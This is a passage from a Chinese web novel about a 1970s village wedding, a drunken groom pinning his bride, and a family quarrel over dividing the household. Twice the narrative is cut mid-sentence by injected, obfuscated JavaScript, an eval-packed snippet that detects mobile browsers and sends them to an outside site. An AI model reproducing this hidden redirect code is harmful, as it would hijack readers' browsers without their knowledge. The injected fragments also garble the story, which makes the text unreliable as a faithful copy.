有蒋有年做反面典型,下乡知青里那些想玩弄村里姑娘的,一个个都没了胆,老老实实接受劳动再教育,不敢再以玩弄那些花花心思为荣。 * 自从谢晚棠发了疯,一直到结婚,谢老太都没敢再惹事。 结婚前一天,两个大樟木箱子打好了,和缝纫机、收音机一起都摆在她的小屋里,炕上还放着红彤彤的大喜被,小小的屋子被塞得满满满当,被染上了喜庆的色彩。 洗漱完躺在炕上,谢晚棠睡不着,透过窗棂看出去,漆黑的天空中月光明亮,星星闪烁。 明天她就要结婚了。 明晚她就要和傅青山睡在一个炕上了,母单的谢晚棠莫名有点焦虑。 15. 第 15 章 虽然只是合约婚姻,但是母胎单身的谢晚棠一想到要和一个男人同床共枕,心里说不出是个什么感觉。 不上不下的。 不过幸好傅青山还有5个孩子呢! 睡觉这种事,人多反而不尴尬呢! 翌日一早,谢晚棠起来的时候,薛桂花早就开始烧火做饭了,这会儿已经能闻到二合面饼子的香味了。 “娘,起这么早。” “你大喜的日子,娘高兴,睡不着,快去洗脸,一会儿刘主任她们就过来了。” 虽然现在结婚的流程简化了不少,但是装箱、开脸、化妆、送亲,一应流程下来,还是得有帮忙的。 妇女主任刘秀香前两天就和薛桂花说好了,今天带着宣传队长,还有支书家的傅大娘过来帮忙。 吃过早饭,刘主任她们就过来了,去东间跟谢老太太打过招呼就来西间帮忙装箱,傅青山送来的东西多,两个半人长的大樟木箱子装得满满的。 刘主任和傅大娘帮着装完箱子,宣传队长郭燕给谢晚棠开脸。 用一根线在皮肤有汗毛的地方来回绞,去除面部汗毛,让皮肤看起来更细腻,是老祖宗流传下来的古法美容秘书。 谢晚棠以前只是在电视里看过,兴致勃勃地准备好,结果郭燕的手一开动,她简直眼泪都要流下来了! 古人美容这么疼的吗?! 她脸上皮肤细腻,本身汗毛就很少,绞完唇边的汗毛,谢晚棠实在是忍不住疼,其他地方意思了几下这个环节就匆匆结束了。 着实是享受不了。 这个年代也没那么多化妆工具,而且谢晚棠皮肤本身底子也好,画了眉毛,涂了口红,轻轻晕上一点腮红就搞定了。 等谢晚棠换上结婚的新衣裳一出来,刘主任、傅大娘和郭队长全都看呆了。 与村里一般出嫁的闺女穿得喜衣裳款式完全不同,红上衣虽然没印什么图案,但款式是城里时下最流行的衬衣,纯正的红色修身衬衣将谢晚棠的身材凹凸有致地勾勒出来,最后在细腰处扎进黑色裤腰里,笔直的黑色长裤衬得谢晚棠的腿又长又直,配上皮质上好的黑色皮鞋,透着一股子飒爽干练。 三个人里宣传队长郭燕最年轻,谢晚棠这一身太惊艳了,她小心地摸了摸这精致利落的衬衣袖口:“这衣裳可真好看,在供销社买的吗?很贵吧!” 谢晚棠:“没有,自己扯布做的。” 刘主任也被吸引住,不可思议地看向薛桂花:“婶子你还有这手艺呢!” 薛桂花看闺女这一身打扮这么好看,高兴得嘴都合不拢:“我哪里懂这些,是小棠自己裁的。” 刘主任和郭队长闻声更震惊了,就连傅大娘都细细打量起来。 谢晚棠谦虚地笑笑:“去镇上的时候看到镇上的女工穿衬衣,看起来很利索,就回来照着做的。” 实际上对于谢大设计师而言,设计个中规中矩的小衬衣算什么啊,她会的花样还多着呢!就是这个保守的年代还不太允许她肆意发挥。 郭队长搞宣传工作,抛头露面多,而且又是年轻爱美的年纪,摸摸丝滑的的确良布料:“这料子也不便宜吧。” 谢晚棠笑道:“不印花的没那么贵,这就是为了结婚非得穿红没办法,不然用土布做就行,白衬衣日常又精神,一样穿,还舒服。” 听谢晚棠这么说,郭燕可开心了,拉着谢晚棠的手:“晚棠,等着我割块料子,去找你帮忙做行吗?” 谢晚棠现在有缝纫机了,做件衬衣还不是小菜一碟,大手一挥:“没问题!” 郭燕可太高兴了,反正都准备妥当了,就等着男方来接亲了,没什么事,郭燕兴冲冲跟谢晚棠商量白衬衣配什么颜色的裤子好看,一起把料子买回来,到时候让谢晚棠帮她做一身,她穿着去别的大队去宣传,让她们看看下沟村妇女的精气神儿!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13634872|143734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 刘秀香比郭燕大不了几岁,看郭燕和谢晚棠聊的起劲,也约好了跟郭燕一起去买布。 傅大娘笑着摇头:“怪不得玉秀前几天跟我说不让我给她做衣裳,说要等着她嫂子结完婚有空了找她嫂子做,她嫂子是眼光好!” 几个人坐在炕上聊的开心,薛桂花把帮忙的茶果装好拿给刘主任她们,她们推辞了两下,也就收下了。 在这个什么都紧缺的年代,茶果这样有油水的酥货,拿回去给家里孩子分分吃,都是好东西。 这年头接亲不兴敲锣打鼓了,但是男方来的时候,外边还是传来了孩子们热闹的声音。 傅大娘她们赶紧下炕准备着,原本轻松欢乐的气氛瞬间紧绷起来:“晚棠快坐好,新郎官来了。” 谢晚棠坐在炕上,透过破旧的窗棂缝往外看了一眼,就被跨步进了院门的男人吸引了视线。 今天傅青山一改往日衬衣长裤的打扮,穿了一身崭新的绿军装。 谢晚棠愣了一下才反应过来,傅青山在武装部工作,武装部主要就是负责招兵的,绿军装也是他的正装啊! 傅青山人高腿长步子也大,谢晚棠回过神来的时候,院里早已没了傅青山的身影。 人群一阵骚乱,谢晚棠偏头看过去,傅青山长腿一步跨进小小的西屋,走到谢晚棠面前站定,占据了谢晚棠全部的视线。 几乎每个女孩都有过军装情结,既有军装带来的那种制服诱惑,又有军装背后承载的那一份军人的责任。 傅青山本来长得就高,在人群里总是最突出的那一个。 肩宽背阔,窄腰长腿的好身材,更是天然的衣服架子。 虽然他脸不白,但是小麦色的皮肤,棱角分明的面颊,配上熨烫齐整的绿军装,天然就有一种男人的力量感扑面而来。 谢晚棠记得大学军训的时候室友曾经感慨过一句——军装是一个男人最好的医美。 16. 第 16 章 听到大家的低笑声,谢晚棠才回过神来,反应过来自己刚才竟然看军装美男都看直眼了! 哎呀呀!主要是她日常在秀场也见不到穿军装的男模,这制服诱惑的冲击确实有点大呀! 薛桂花也笑,宠溺地摸摸她头:“也不知道害羞!” 谢晚棠吐吐舌头,欣赏美男有什么好害羞的! 谢晚棠是真不觉得害羞,她前世的工作就是天天和美男美女打交道。 大家笑也并不是笑话谢晚棠的意思,只是觉得难得有新娘子不羞答答的,还挺热闹的。 人家看自己的男人,还是个好看的男人,当然是愿意怎么看就怎么看!晚上还要睡一起呢! 那个年代农村虽然外在行为上不想21世纪那么开放,但是妇女和妇女,男人和男人们聚在一起聊天的时候,那话题,可比谢晚棠欣赏美男尺度大多了。 倒是傅青山,被谢晚棠看得耳朵尖泛红,不过他向来面冷,大家倒是都不敢调笑他。 傅青山从进门,眼里就再没了别人。 谢晚棠一直都是好看的,但平日里喜欢谢晚棠一般都穿素色,美得素净大方,像个清纯的学生。 今天谢晚棠一改往日的素色,一身利落的红装,美得惊艳,让周围的一切都黯然失色。 虽然膈应东间,按照习俗,谢晚棠还是和傅青山一起,去向谢老太太和爹娘行改口礼,谢老太太作为家里最尊的长辈,按理应该给孙女和孙女婿准备个红包喜庆喜庆的。 可老太太打心眼里觉得嫁出去的闺女泼出去的水,而且因为谢晚棠不嫁给王二家,她已经损失了100块钱了,谢汪洋把王二家给的彩礼送回去的时候,她别提多心疼了,怎么可能给谢晚棠再准备红包,死丫头想得美! 家里富裕的包个大点的红包,家里不宽裕的包个小红包也是个吉利,像谢老太太这样一毛不拔的,还真是少有,男方女方跟着来帮忙的都撇撇嘴。 谢晚棠倒是不在意,对于严重重男轻女的谢老太太来说,这真是基操了。 人要走出来,才有更广阔的天地。 谢老太太这种人,格局就注定了她的未来。 出门子的时候,薛桂花握着她的手,眼眶忍不住泛红。 傅大娘拍拍薛桂花的肩膀:“弟妹,晚棠结婚是喜事,而且这也没嫁远。” 薛桂花赶紧擦擦眼泪:“对,我就是高兴地!不哭不哭,我们小棠以后都好好的。” 谢晚棠点头,抱了抱薛桂花:“娘,我们都好好的。” 上辈子薛桂花也同这辈子一样爱着她的女儿,但她被这个阴沉的家压了半辈子,她根本不敢反抗,眼睁睁地看着自己的女儿走向深渊却无能为力,不过五十几岁就郁郁而终。 这辈子,在谢晚棠的影响下,她已经敢站起来为女儿争取一点利益了,这样的改变已经是很好的开始。 傅青山很大方,让帮忙的给来看热闹的孩子每人都分了一块糖。 这个年代的小朋友肚子里都缺,哪家有喜事都愿意去跟着热闹,为的就是能跟着分点好吃的。 一般人家就是给个花生,好一点的给个小其子,给糖的就是极好的了,更何况傅青山给的还都是非常稀罕的奶糖。 今天下沟村的小孩们比过年还高兴,叽叽喳喳地一直跟着送亲队伍玩,热闹无比。 傅青山用自行车带着谢晚棠,后边的樟木箱和缝纫机有人抬,队伍也算浩浩荡荡了,不止是在下沟村,就算是十里八村都加起来,谢晚棠这场婚礼,也算的上是体面了。 到了傅青山家,婚礼是在主屋这边举行的。 这个年代的婚礼真的很有时代特色,第一个环节竟然是夫妻一起齐读毛主席语录。 …… “世界是你们的,也是我们的,但是归根结底是你们的。你们年青人朝气蓬勃,正在兴旺时候,好像早晨八、九点钟的太阳。希望寄托在你们身上。” 傅青山平日话不多,就算有回应,也是简单的三言两语就说清楚结束话题。 谢晚棠还是第一次听他用正式的语气说这么长的话,他认真读书的时候,声音竟有点像电视里低沉浑厚的播音腔。 还怪好听。 读完毛主席语录选段,两人一起对着毛主席像鞠躬。 这是个文化贫瘠又混杂的年代,弄完这些,接着又是农村最传统的拜天地,傅老汉和傅老太坐在正上,傅老太上下打量谢晚棠,眼神里透着不善。 傅青宁跟在傅老太旁边,看谢晚棠穿着一身漂亮衣裳,脚上是她哥给买的新皮鞋!别提多气了! 她去供销社的时候看过,20一双呢!她回来跟二哥要过,二哥说让她找娘,可娘才不会给她买20块钱一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13634873|143734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双的鞋! 今天的谢晚棠就像一只耀眼的红胡蝶,傅青宁看她越发不顺眼,像看阶级敌人一样瞪着谢晚棠。 傅老太和傅青宁的嘴脸谢晚棠当然都看到了,但她才不在意。 她只在意自己活得舒服开心,至于小人心里想什么,她才懒得去猜。 不管心里怎么想她都无所谓,但要是舞到她面前,那就对不起了。 傅大哥傅大嫂,傅老三和媳妇站在两边。 玉秀也来了,带着侄子们站在后边,谢晚棠看过来的时候,她高兴地跟谢晚棠挥手。 嫂子今天简直美死了! 拜天地结束后,院里开席,傅青山要在外边陪客人,傅大嫂把谢晚棠领去了东屋傅青山的房里。 傅家二老和傅老大老三住在正屋,后来傅青山转业回来,就在旁边新盖了个东屋,中间开了个院门,傅青山和孩子们过来吃饭也方便。 谢晚棠穿过中间的小门,进到傅青山的小院。 傅青山这边只盖了一大间,房子不大,院子自然也不大。 傅青山上班早出晚归,也没什么时间打理,院子里除了一口井,拴了根绳晾衣绳,别的什么也没有,空空旷旷的。 屋里倒是打扫得干干净净,谢晚棠带来的两个大樟木箱子,还有傅青山给她买的缝纫机也都抬了进来,小小的房子一下就堆满了。 傅大嫂进来的时候,羡慕得摸了摸那两个大樟木箱子,一脸艳羡:“真好看,这得放多少东西啊!” 谢晚棠想起薛桂花跟老太太为她争取这两个箱子的时候说过,要是嫁到婆家什么都没有,去了让人看不起。 她当时其实本来并不在意这两个箱子,觉得可有可无,只是这是薛桂花第一次站起来为她争取什么,她当然要争下这口气,也给薛桂花一份信心。 现在才明白,薛桂花真是很为她着想,谢晚棠生活在21世纪了,早就过惯了什么都不缺的日子,可在物资极度匮乏的70年代,两个樟木箱子也是很好的嫁妆,她娘没有让她一无所有的嫁到傅家。 傅大嫂出去一趟很快端着饭回来,给谢晚棠放在炕桌上:“弟妹,新媳妇不好抛头露面,娘说让你就在这间吃吧。” 谢晚棠坐在炕沿上,偏头看了一眼桌上都黏呼了的烂白菜,呦吼,新媳妇不好抛头露面,就好吃这猪食一样的剩菜咯? 18-20 第18章 二哥不行都一个多小时!你还不如你二哥! “疼疼疼——” 谢晚棠疼得下意识挣扎,可身上的男人犹如原始森林里的食人藤蔓,她越挣扎,就被禁锢得越紧,直到全身上下一点都动弹不得,被傅青山严丝合缝地压在炕上,犹如牢笼中无望的困兽。 傅青山高挺的鼻梁渗出一片透明的大滴汗珠,狭长的凤眼因为酒醉眼白处隐约泛着红,锋利的视线如野狼般锁住她。 呼吸间带着浓烈白酒味的灼热气息喷在她细嫩的脖颈,好像下一秒就要咬破她最脆弱的动脉,彻底置她于死地。 谢晚棠从未见过傅青山如此冷血狠厉的神情,绝对的力量压制,酒醉下失去理智的暴戾,都让谢晚棠感觉到强烈的危险信号,瞬间心跳突突突疯狂加速。 “青山,随份子的钱和贺礼先放你这,你——” 熟悉的声音由远及近,拉回了傅青山的一丝理智,傅青山闻声回头。 支书傅余年拿着份子钱和红纸一进门就看到侄子正骑在侄媳妇身上,把侄媳妇压在炕上! 孩子都四个了,傅余年哪能不明白这是什么事! 那一刻他恨不得自己是个瞎子! 侄子从不跟村里的女人弄些纠缠不清的勾当,而且平日里看着也不是个急性子的,怎么刚喝完回来就,就,就,哎呦喂! 还好巧不巧地让他一个堂公公辈的看见了! 真是要了老命了,以后他还怎么见侄媳妇! 小儿子还跟在后边抱着各家送的贺礼要跟进来,傅余年眼疾手快,一步退出来,啪的把门带上。 “贺礼给你哥放这箱子上就行!” “青山啊,谁家随的份子和贺礼我都记在红纸上了,回头你把你爹娘的那份找出来给他们就行,大队里还有事,我就先走了!” 话落,谢晚棠听到一路小跑的脚步声越来越远,直到消失。 突然被支书打断,傅青山好像清醒了些,黑眸里杀气褪去,透出些许迷茫神色,连带着手上的劲也松了不少,谢晚棠趁机使劲抽出右手用力去推傅青山的胳膊。 可惜她那点吃奶的劲在傅青山的绝对力量面前杯水车薪,隔着一层制服布料都能摸到傅青山小臂肌肉的轮廓,如阳光下洗礼过的岩石一般,又热又硬。 傅青山纹丝不动,皱眉看她,清醒了些但又好像没完全清醒。 傅青山至少得有一米八五,还一身结结实实的肌肉可压沉,死死得压在她上,她腰都要断了,感觉气都要上不来了! 明明好心看他热想帮他解个扣子凉快凉快,结果给自己招来这么一场无妄之灾,腰和背疼得都要断了,谢晚棠才不管醉汉是不是有意的,唯一能活动的右手直接拧上傅青山侧腰上最嫩的那块肉。 牟足劲要给他来个刺激的360度,结果堪堪才转到90度就脱了手。 怎么会有人腰上的肉都这么硬! 不过这一下还是起到了效果,傅青山眉头瞬间拧起,在她拧不住最后脱手的那一下闷哼出声。 谢晚棠气得瞪他:“还知道疼?!沉死了!赶紧下去!再骑我给你把腰上的肉全拧紫了!” 被谢晚棠又拧、又瞪、又骂,傅青山终于清醒了,反应过来自己压在谢晚棠身上这个姿势,愣了片刻,立马抬腿从谢晚棠身上下来。 身上瞬间就像挪走了一座大山,喘气都顺当了,谢晚棠深吸一口气,又长长地呼出去,这才揉起被攥得又麻又疼的手腕。 谢晚棠揉了半晌,身边的人一点动静也没有,好像呼吸声都停滞了似的。 谢晚棠偏头一看,只见傅青山两手放在膝上,盘腿坐如钟,正垂眸看她,一如往常般面无表情,好像刚才的一切都跟他无关。 谢晚棠皱眉打量了好一会儿,真的没看出傅青山有哪怕那么一丁点的悔过愧疚之情! 还居高临下地俯视她,谢晚棠简直要气死,不顾后背和腰上的疼,一个翻身坐起来,气呼呼地和傅青山盘腿对坐,一副武林高手要开始内功比试的架势。 可傅青山比她高太多,就算她坐起来,傅青山还是垂眸俯视她,总有一种被压了一头的感觉! 谢晚棠深吸一口气,双手叉腰,拿出架势,开始输出: “刚刚我还觉得你酒品不错呢,喝醉了也不打呼不磨牙不放屁,怪老实的,结果呢?!你是不打呼不磨牙不放屁,你是直接想杀人啊!” “我看你热得满脸是汗,我好心帮你解扣子,结果被你一顿折腾,你看你给我手腕攥得,都肿了!” 谢晚棠控诉的时候伸出手,傅青山的视线落在她已经红肿起来的手腕上,皱了皱眉。 谢晚棠看傅青山表情终于有了点变化:“你说你过不过分?” 傅青山点头。 谢晚棠不满地瞪了一眼,傅青山好像突然变聪明了,懂了谢晚棠的意思,开口:“过分。” 谢晚棠:“你说我倒不倒霉!” 傅青山:“倒霉!” 谢晚棠:“……” 大哥,不是每一句话都需要回答的== 谢晚棠不依不饶:“你有没有认识到自己的错误?” 酒后暴力行为可不是小事,以前她就看网上有人说老公喝醉了回家就家暴的。 傅青山的行为虽然不是家暴,但是比家暴更可怕! 刚才他眼里流露出来的那种狠厉和杀意,可不像是闹着玩儿的! 她是过不了苦日子想找个饭票,可也不能为了吃口饭把小命给丢了啊! 傅青山:“对不起。” 谢晚棠:“如果再出现这样的情况怎么办?” 傅青山:“不会再有这样的情况。” 谢晚棠拧眉,对这个回答一点都不满意:“傅青山,不要逃避问题!” 傅青山听到她叫他的名字,眼底闪过一丝起伏,看她拧眉生气的样子,道:“我以后不喝酒。” “我不信!” “我保证。” 谢晚棠打量他片刻,看他神色认真,不像是随口瞎说,非常严肃地跟他约法三章:“我可以相信你这一次,但如果你说的做不到,我们就马上离婚。” 傅青山眸光微沉:“好。” 谈完谢晚棠气势泄下来,手腕一跳一跳的疼,前胸后背都像被大车碾压过一遍似的。 她一边揉手腕一边无奈:“你刚才那是干嘛呀?像要杀人似的!” 傅青山皱眉,思索片刻后道:“对不起,把你当成敌人了。” 谢晚棠:“……” 难道这就是传说中的条件反射? 谢晚棠无奈叹气,这也太吓人了。 如果是这样,那办法真的只有一个,就是傅青山说的,以后都不喝酒。 傅青山下炕,谢晚棠以为他要下去看支书刚才送来的份子钱和贺礼,结果听声音,傅青山直接出了家门,谢晚棠转头透过窗棂,看到傅青山在院里压井打水。 片刻后,傅青山端着一盆井水和一条毛巾进来放地上,弯腰把毛巾在井水里浸湿又拧干,起身看向谢晚棠手腕:“冷敷能消肿。” 事情既然讲开了,谢晚棠也不再有情绪,伸出手,傅青山把毛巾叠成长条形,小心地围着谢晚棠的两个手腕包了两圈。 凉凉的井水确实消去一些热痛,不过很快就被红肿的皮肤染上温度。 傅青山不厌其烦地一遍一遍弯腰重新浸凉毛巾给她冷敷,等到晚饭的时候,她的手腕已经不肿了,只剩微微的酸疼,都在可以忍受的程度了。 虽然傅青山自始至终都没有流露出来任何愧疚的神情,但确实也用行动为自己的错误做了弥补,谢晚棠感觉这事暂时可以翻篇了,后续就看傅青山能不能信守诺言了。 晚饭的时候,谢晚棠和傅青山一起去正屋吃饭。 继中午跟她表达敌意后,谢晚棠再次看到傅青山的五个孩子,跟傅家其他孩子一比,兄妹五个明显穿得更破,除了兰兰和大刚大能照顾自己,其他三个小的看着还有些邋遢,确实有娘打理的孩子和没娘打理的孩子,一眼看着就不一样。 不知道是小孩对后妈有天然的敌意,还是被某些人恶意挑唆了,这些孩子一看到她就浑身竖起刺。 她不会为了迎合傅青山刻意去跪舔,也不会因为小孩的敌意就针对,做好一个后妈该尽的义务,她自觉问心无愧就好。 谢晚棠跟大嫂和弟妹打过招呼,和傅青山一起进了东间,傅老汉、傅老太、傅青宁、傅大哥和傅老三都早早在炕上坐好了。 谢晚棠和傅青山、傅大嫂和三弟妹进来的时候,四个人,就剩炕边一个位置。 以前傅青山晚上回来吃饭的时候,是两个媳妇站在炕前吃,傅青山中午不回来吃的时候,傅大嫂和弟妹挨着炕沿挤挤坐也就吃了。 如今又加上谢晚棠,晚饭肯定是坐不下了,就连中午吃饭也挤不下,肯定得有人一直站着吃。 傅青宁得意地看了一眼谢晚棠,拍拍身旁最后一个空位置:“二哥,快来坐,我都饿死了!” 在所有人的注视下,傅青山对谢晚棠道:“你坐。” 傅青山话落,一屋子的人都变了脸色,谢晚棠看傅青宁眼珠子都要掉下来的吃惊样子,莫名的觉得非常爽呢~ 谢晚棠兢兢业业扮演好傅青山的新婚小娇妻,笑容温和,语气温柔:“谢谢青山哥。” 傅青山诧异地看了她一眼,很快便恢复他平常面无表情的神色,嗯了一声。 谢晚棠刚要坐,傅老太咳嗽了声:“哪有女人在炕上坐着,让男人在下边站着的?” 傅青宁一听娘这么说,马上又得意起来,瞥了谢晚棠一眼:“就是!” 傅青山扶了下谢晚棠,让她坐下:“晚棠今天累了,我身体好,站着没事。” 傅老太彻底冷下脸来:“这不是有事没事的事!哪有男人不上炕的?!” 傅老太坚持让傅青山上炕,傅青山坚持让谢晚棠坐着,目前这个情况肯定无解,除非炕上现在下来一个人,再腾一个地方给傅青山。 傅老汉和傅老太是长辈,傅大哥和傅老三是男人,大家的视线自然而然落到傅青宁身上。 傅青宁原本还等着看谢晚棠的笑话,突然发现大家都看着她:“都看我干嘛!我凭什么下去!我一直在炕上吃饭的!” 傅大嫂和老三家的闻声都撇撇嘴,这个小姑子,家里什么活都不帮着干,就吃饭的时候往炕上跑得快。 人家老二护媳妇,非让媳妇坐,她不下去,难道让傅老太下去? 傅青山和傅老太态度都坚决,傅大哥和傅老三事不关己,不多说话,最后是傅老汉开口:“青宁去西间跟孩子一块吃,给你二哥腾个地。” 傅青宁简直要气炸了,但哥哥嫂子都看着她,好像这场风波是因她而起,好像她才是那个惹事精! 傅青宁气得啪一声放下筷子,气呼呼地越过谢晚棠,踩上鞋摔上门去了西间。 傅青山这才上炕,在傅青宁刚刚坐过的地方坐下,傅老太的脸已经黑得像锅底,傅大嫂赶紧笑着招呼大家快吃饭。 晚饭是一盆白菜炖的猪脸,一盆韭菜炒鸡蛋,糊的二合面饼子。 但是因为这个年代花生油的份例也少,油少了炒出来的菜一股水煮菜的味,不过能有荤腥,已经是好饭了。 傅老太黑着脸吃完一顿饭,傅大嫂和弟妹下去收拾饭桌,谢晚棠刚要起身,傅青山已经下炕帮着把桌子搬了下去。 等收拾完大家都回来坐下,一家之主傅老汉发话:“你们新婚,今晚让孩子都来东间困觉。” 谢晚棠抿唇,这是要她和傅青山过洞房花烛夜啊。 虽然是合约夫妻,但是在长辈面前还是要做做样子的,傅青山嗯了声后,谢晚棠也道:“谢谢爹。” 傅老太忍了一晚上,终于奔入主题:“老二,你自己就五个孩子,老大老三孩子加起来才跟你一样多,这娶了媳妇了你以后还得生孩子,养你们这么大家口本来就吃力,都是我们和老大老三替你担着这份累。” “你以后得把工资全都交上来给我管着,这么大家口,钱得花得有数才行,不能还跟没结婚的时候那么铺张浪费!” “还有,等会回去把份子钱也送过来,我给放着就行了。老二家的,明早开始就和大嫂弟妹一起做饭。” 傅老太说完,谢晚棠心里就三个字:想屁吃呢? 真是白日做梦! 就傅老太这个粗放不用心的养法,傅青山的工资别说养5个孩子了,就是养15个也养了! 明明花着傅青山的钱,还说着这些埋怨挖苦的话。 真是又当婊子又立牌坊呢! 谢晚棠一偏头看傅青山听完竟然还认真点了点头,一副真听进去了的样子,谢晚棠以为他要倒戈做妈宝男了,刚要开口,就听傅青山开口道: “娘说的有道理,我也考虑过了,我这边孩子多,确实拖累家里了,所以还是分家吧,我分出去,减轻家里的负担。” 傅青山话落,仿佛在傅家投下了一颗原子弹,把所有人都炸懵了。 傅老太说他孩子多是累赘,他便提分家,把他们这些累赘分出去,给家里减轻负担,看似非常合情合理,很为这个家考虑。 但是!好像哪里又不对劲! 傅老太最先反应过来:“那你的工资……” 傅青山开口,打断傅老太:“娘说的是,养五个孩子是不容易,不当家不知柴米贵,以后我会注意。至于工资,分了家就不在一个锅里吃饭了,我也要养家,自然是不能再给娘管着。” 除了结婚的时候一起读毛主席语录,谢晚棠还是第一次听傅青山说这么长的句子,关键是傅青山说话还特别有技巧有逻辑,先肯定对方的部分内容,然后再提出自己的不同意见。 有理有据,还怪不好直接反驳的。 傅青山说完,全家脸上都无比难看,傅青宁闻声也从西间跑过来,震惊地看着傅青山:“二哥,你娶了这个狐狸精就不要我们了?!” 傅青山抬眸看了一眼傅青宁,沉下脸来:“傅青宁,她是你二嫂。” 傅青宁气得跺脚:“她就是个狐狸精!结婚前你就给她花那么多钱,刚结了婚又要跟我们分家,她不就是长得好看点嘛!就把你迷得五迷三道的!” 傅青宁说话难听,傅老汉听不下去,呵斥道:“大姑娘家的瞎说什么!大人商量事由得你在这瞎胡闹!” 老三家的心眼子多,虽然小姑子说出了她的心里话,但眼看傅青山脸越来越黑,就在爆发的边缘,她赶紧下来当和事佬,拉着小姑子出去,生怕小姑子把傅青山惹炸了,那这事可就一点转圜的余地都没有了。 老三家的把傅青宁拽出去以后,东间重新安静下来,大家面面相觑,每个人脸上都写着不想分家,但又心虚没法开口,毕竟他们都花着傅青山的钱,但又没对傅青山的孩子上过心。 傅老太感觉自己的老脸被老二打得啪啪响,为了逼老二全部上交工资,她才说出那番抱怨的话,却不想老二竟然根本不顺着她来,反倒要分家! 傅老太冷脸给自己找补:“刚结婚就分家,说出去让人笑话!再说了,一家人在一块吃饭多热闹!” 傅青山本就性子冷,不喜欢闹,更不在意别人的眼光:“支书大爷家老大结婚就分出去了,而且家里这么多人,吃饭都坐不下,我和晚棠分出去正好。” 傅老太:“你上有哥哥下有弟弟,你分家分出去自在了,就让哥哥弟弟替你养老?” 傅青山:“自然是不能亏了大哥和老三,明天让支书大爷过来分家,顺便定下我的养老份子,以后每个月我会按时交过来。” 傅老太:“……” 傅老太扔一个雷,傅青山拆一个雷,给傅老太拆了个干干净净。 按照农村的养老标准,一年下来,每个儿子也就是分个百十斤粮食的份子,跟傅青山的工资比,简直是毛毛雨。 吃惯了傅青山福利的一家人当然不愿意,但傅青山有理有据,而且他这个人向来性子冷,吃软不吃硬。 傅大哥在家里最长,自觉面子最大,道:“老二,弟妹才刚嫁过来,你还带着五个孩子,都说这后妈不好当,这突然一下子就分出去,恐怕你那五个孩子也不能愿意,弟妹也难做,不如先一起过两年,等孩子跟弟妹都熟了,再分也不迟。” 要傅青山一辈子不分家估计够呛,但傅大哥的宗旨就是能拖就拖。 傅大嫂也跟着附和:“是啊是啊,孩子们大了,都有自己的主意。” 傅青山点头:“大哥大嫂说得是。” 深谙傅青山的话术逻辑,谢晚棠现在已经不担心傅青山会倒戈了。 果然下一秒,傅青山朝东间喊了大刚和兰兰一声,让两人带着弟弟妹妹过来。 大刚和兰兰带着二刚小刚和妞妞过来,老三家的和傅青宁也跟着过来,把本就不大的东间围了个满满当当。 傅青山对五个孩子道:“现在给你们两个选择,一是跟原来一样,我还把工资交过来,你们在这边跟着爷爷奶奶吃饭;二是咱们家分出去单过,以后我和你们妈一起养你们。” 一听傅青山把选择权交给了孩子,傅老太和老大老三媳妇儿都长舒一口气。 谢晚棠在大队部慷慨激昂批斗自己亲爹的场面孩子们可都当场看见了,看着那么娇娇柔柔的姑娘,狠起来连亲爹都不认,何况是没血缘的孩子。 二刚看完批斗会回来还连着做了好几天噩梦,梦着后妈拿鞭子把他抽得皮开肉绽,哀嚎惨叫。 而且因因为傅青山坚持给谢晚棠准备天价彩礼的的事,婆媳三个背地里可没少跟孩子们说谢晚棠的坏话,今天谢晚棠进门,五个孩子对谢晚棠的态度,她们也都看在眼里。 在她们自信满满的氛围下,兰兰和大刚对视一眼,大刚往前一步:“爹,我们愿意分家,跟着你过。” 大刚话落,一大家子人脸色瞬间像被屁崩了一样,懵逼又无措! 他们不知道,结婚后分家这事,傅青山早就告诉了孩子们。 傅青山起身:“那分家的事就定了,明早晨吃完饭我去找大爷来分家,份子钱我回去把爹娘的挑出来,明天送过来。” 傅青山说完要走,傅老太急得像热锅上的蚂蚁,一把扯住谢晚棠的胳膊:“老二家的,你就愿意伺候五个孩子?” 谢晚棠心里翻白眼,我看起来傻吗?要么伺候五个孩子,要么伺候五个孩子加你们这一大家子,我是傻逼不选前者? 谢晚棠不动声色地把自己胳膊抽出来,起身下炕,小娇妻般站在傅青山身边:“娘,我都听青山哥的。” 傅青宁两眼一黑,简直要厥过去!狐狸精!骂她的时候可不是这么娇滴滴的小媳妇样! 傅青山觉得事情已经定了,不需要再多叨叨。 两人回到东屋点上蜡洗漱完上炕,谢晚棠看了一晚上戏,再也憋不住笑出声来,佩服得竖起大拇指:“傅青山,以前没看出来,你这嘴也很厉害啊!在古代,绝对能舌战群臣!” 橘黄的烛光照在傅青山脸上忽明忽暗,谢晚棠感觉傅青山看她的眼神像是打量,又像在探究。 谢晚棠:“怎么了?我说得不对?” 傅青山沉默片刻:“睡吧。” 谢晚棠:“……” 在外伶牙俐齿,回来又惜字如金了,果然大佬都是让人捉摸不透的吗? 谢晚棠耸耸肩吹了蜡烛,背对着傅青山脱了华而不实的的确良,换上舒服的土布衣裳躺下。 坐着的时候没觉得,这一躺下,后背一压着,下午的疼又开始返上劲来。 平躺着不行,谢晚棠侧过身,避开后背疼的地方,可一侧过来,腰受力,又扯着腰也跟着疼起来。 索性趴着吧,可是刚趴下还行,趴了没多会儿,这趴的姿势实在太拧巴,胳膊和颈椎又麻了…… 翻来覆去一顿折腾,最后没法子,疼也得躺回来。 傅青山也没睡着,脱了上衣躺下后,就听着谢晚棠那边窸窸窣窣,一直有动静。 